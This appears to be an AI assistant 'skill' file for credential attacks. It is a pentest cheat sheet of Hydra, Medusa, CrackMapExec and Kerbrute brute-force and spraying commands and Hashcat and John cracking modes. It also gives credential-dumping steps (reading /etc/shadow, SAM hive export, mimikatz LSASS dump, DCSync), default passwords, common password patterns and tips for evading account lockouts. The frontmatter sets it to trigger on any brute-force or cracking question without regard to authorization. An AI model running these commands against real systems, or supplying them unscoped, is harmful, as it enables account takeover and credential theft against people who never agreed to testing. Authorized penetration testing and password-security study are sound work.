Credential Attacks

---
name: Credential Attacks
description: |
  This skill should be used when the user asks about "password cracking",
  "brute force", "hydra", "hashcat", "john", "credential stuffing",
  "password spraying", or needs guidance on credential-based attacks.
version: 1.0.0
---

# Credential Attacks Skill

## Overview
Techniques for discovering, cracking, and using credentials in penetration testing.

## Online Attacks (Brute Force)

### Hydra
```bash
# SSH
hydra -l <USER> -P /usr/share/wordlists/rockyou.txt ssh://<TARGET>
hydra -L users.txt -P passwords.txt ssh://<TARGET>

# FTP
hydra -l <USER> -P /usr/share/wordlists/rockyou.txt ftp://<TARGET>

# HTTP Basic Auth
hydra -l admin -P passwords.txt <TARGET> http-get /admin

# HTTP POST Form
hydra -l admin -P passwords.txt <TARGET> http-post-form \
    "/login:username=^USER^&password=^PASS^:Invalid credentials"

# HTTP POST with cookies
hydra -l admin -P passwords.txt <TARGET> http-post-form \
    "/login:username=^USER^&password=^PASS^:F=Invalid:H=Cookie: session=abc123"

# SMB
hydra -l Administrator -P passwords.txt smb://<TARGET>

# RDP
hydra -l Administrator -P passwords.txt rdp://<TARGET>

# MySQL
hydra -l root -P passwords.txt mysql://<TARGET>

# MSSQL
hydra -l sa -P passwords.txt mssql://<TARGET>
```

### Medusa
```bash
# SSH
medusa -h <TARGET> -u <USER> -P passwords.txt -M ssh

# FTP
medusa -h <TARGET> -u <USER> -P passwords.txt -M ftp
```

### CrackMapExec
```bash
# SMB password spray
crackmapexec smb <TARGET> -u users.txt -p 'Password123' --continue-on-success

# Multiple passwords
crackmapexec smb <TARGET> -u users.txt -p passwords.txt --continue-on-success

# With hashes
crackmapexec smb <TARGET> -u users.txt -H hashes.txt
```

### Kerbrute (Kerberos)
```bash
# Password spray (no lockout)
kerbrute passwordspray -d <DOMAIN> --dc <TARGET> users.txt 'Password123'

# Brute force single user
kerbrute bruteuser -d <DOMAIN> --dc <TARGET> passwords.txt <USER>
```

## Offline Attacks (Hash Cracking)

### Identify Hash Type
```bash
# Hashid
hashid '<HASH>'

# Hash-identifier
hash-identifier

# Common hash lengths:
# 32 chars = MD5, NTLM
# 40 chars = SHA1
# 64 chars = SHA256
# 128 chars = SHA512
```

### Hashcat
```bash
# NTLM (Windows)
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

# NTLMv2
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt

# Kerberoast (TGS)
hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt

# AS-REP Roast
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

# MD5
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

# SHA1
hashcat -m 100 hashes.txt /usr/share/wordlists/rockyou.txt

# SHA256
hashcat -m 1400 hashes.txt /usr/share/wordlists/rockyou.txt

# SHA512
hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt

# bcrypt
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

# MD5 Crypt ($1$)
hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txt

# SHA512 Crypt ($6$)
hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt

# WPA/WPA2
hashcat -m 22000 capture.hc22000 /usr/share/wordlists/rockyou.txt
```

**Hashcat Modes Reference**:

| Mode | Hash Type |
|------|-----------|
| 0 | MD5 |
| 100 | SHA1 |
| 500 | md5crypt ($1$) |
| 1000 | NTLM |
| 1400 | SHA256 |
| 1800 | sha512crypt ($6$) |
| 3200 | bcrypt |
| 5600 | NTLMv2 |
| 13100 | Kerberos TGS-REP |
| 18200 | Kerberos AS-REP |

**Hashcat Attack Modes**:
```bash
# Dictionary
hashcat -a 0 -m <mode> hashes.txt wordlist.txt

# Dictionary + Rules
hashcat -a 0 -m <mode> hashes.txt wordlist.txt -r rules/best64.rule

# Combinator (word1+word2)
hashcat -a 1 -m <mode> hashes.txt wordlist1.txt wordlist2.txt

# Brute Force (mask)
hashcat -a 3 -m <mode> hashes.txt ?a?a?a?a?a?a

# Hybrid (wordlist + mask)
hashcat -a 6 -m <mode> hashes.txt wordlist.txt ?d?d?d?d
```

### John the Ripper
```bash
# Auto-detect
john hashes.txt

# Specific format
john --format=raw-md5 hashes.txt
john --format=nt hashes.txt
john --format=krb5tgs hashes.txt

# With wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# With rules
john --wordlist=wordlist.txt --rules hashes.txt

# Show cracked
john --show hashes.txt

# Unshadow (Linux)
unshadow /etc/passwd /etc/shadow > unshadowed.txt
john unshadowed.txt
```

## Password Extraction

### Linux
```bash
# /etc/shadow format
# user:$6$salt$hash:lastchange:min:max:warn:inactive:expire:

# Extract hashes
cat /etc/shadow | grep '\$'

# Unshadow for cracking
unshadow /etc/passwd /etc/shadow > hashes.txt
```

### Windows
```bash
# Dump SAM (requires SYSTEM)
reg save HKLM\SAM sam
reg save HKLM\SYSTEM system

# Extract with secretsdump
secretsdump.py -sam sam -system system LOCAL

# LSASS dump
mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit

# DCSync
secretsdump.py <DOMAIN>/<USER>:<PASS>@<TARGET>
```

### Database
```bash
# MySQL
SELECT user, authentication_string FROM mysql.user;

# PostgreSQL
SELECT usename, passwd FROM pg_shadow;

# MSSQL
SELECT name, password_hash FROM sys.sql_logins;
```

## Wordlist Generation

### CeWL (Custom Wordlist)
```bash
# Generate from website
cewl -d 2 -m 5 http://<TARGET> -w wordlist.txt

# With email extraction
cewl -d 2 -m 5 -e http://<TARGET> -w wordlist.txt
```

### Crunch
```bash
# Generate all 8-char passwords
crunch 8 8 -o wordlist.txt

# With character set
crunch 6 8 abc123 -o wordlist.txt

# Pattern-based (@ = lowercase, , = uppercase, % = numbers, ^ = symbols)
crunch 8 8 -t @@@@%%%% -o wordlist.txt
```

### Username Generation
```bash
# From name list
# John Smith -> jsmith, john.smith, smithj, j.smith
# Tools: namemash.py, username-anarchy
```

## Default Credentials

### Common Pairs
| Service | Username | Password |
|---------|----------|----------|
| SSH | root | root, toor, password |
| MySQL | root | root, (empty) |
| PostgreSQL | postgres | postgres |
| Tomcat | admin | admin, tomcat |
| Jenkins | admin | admin, password |
| WordPress | admin | admin, password |
| phpMyAdmin | root | root, (empty) |
| Router | admin | admin, password |

### Resources
- https://github.com/danielmiessler/SecLists/tree/master/Passwords/Default-Credentials
- https://cirt.net/passwords
- https://www.defaultpassword.com/

## Wordlists Reference

| Wordlist | Location | Use Case |
|----------|----------|----------|
| rockyou.txt | /usr/share/wordlists/ | General cracking |
| common.txt | /usr/share/wordlists/dirb/ | Web brute force |
| names.txt | SecLists/Usernames/ | Username enum |
| 10k-most-common | SecLists/Passwords/ | Quick spray |
| top-passwords | SecLists/Passwords/ | Targeted attack |

## Tips

### Avoid Lockouts
- Check lockout policy first
- Use Kerbrute for AD (doesn't trigger lockouts on pre-auth)
- Low and slow (add delays)
- Password spray (one password, many users)

### Password Patterns
```
# Common patterns to try:
SeasonYear!     # Summer2024!
CompanyName123  # Acme123
MonthYear       # January2024
Welcome1
Password1
P@ssw0rd
```

### Rule-Based Attack
```bash
# Best rules for hashcat:
# OneRuleToRuleThemAll.rule
# best64.rule
# d3ad0ne.rule
# rockyou-30000.rule

hashcat -m 1000 hashes.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule
```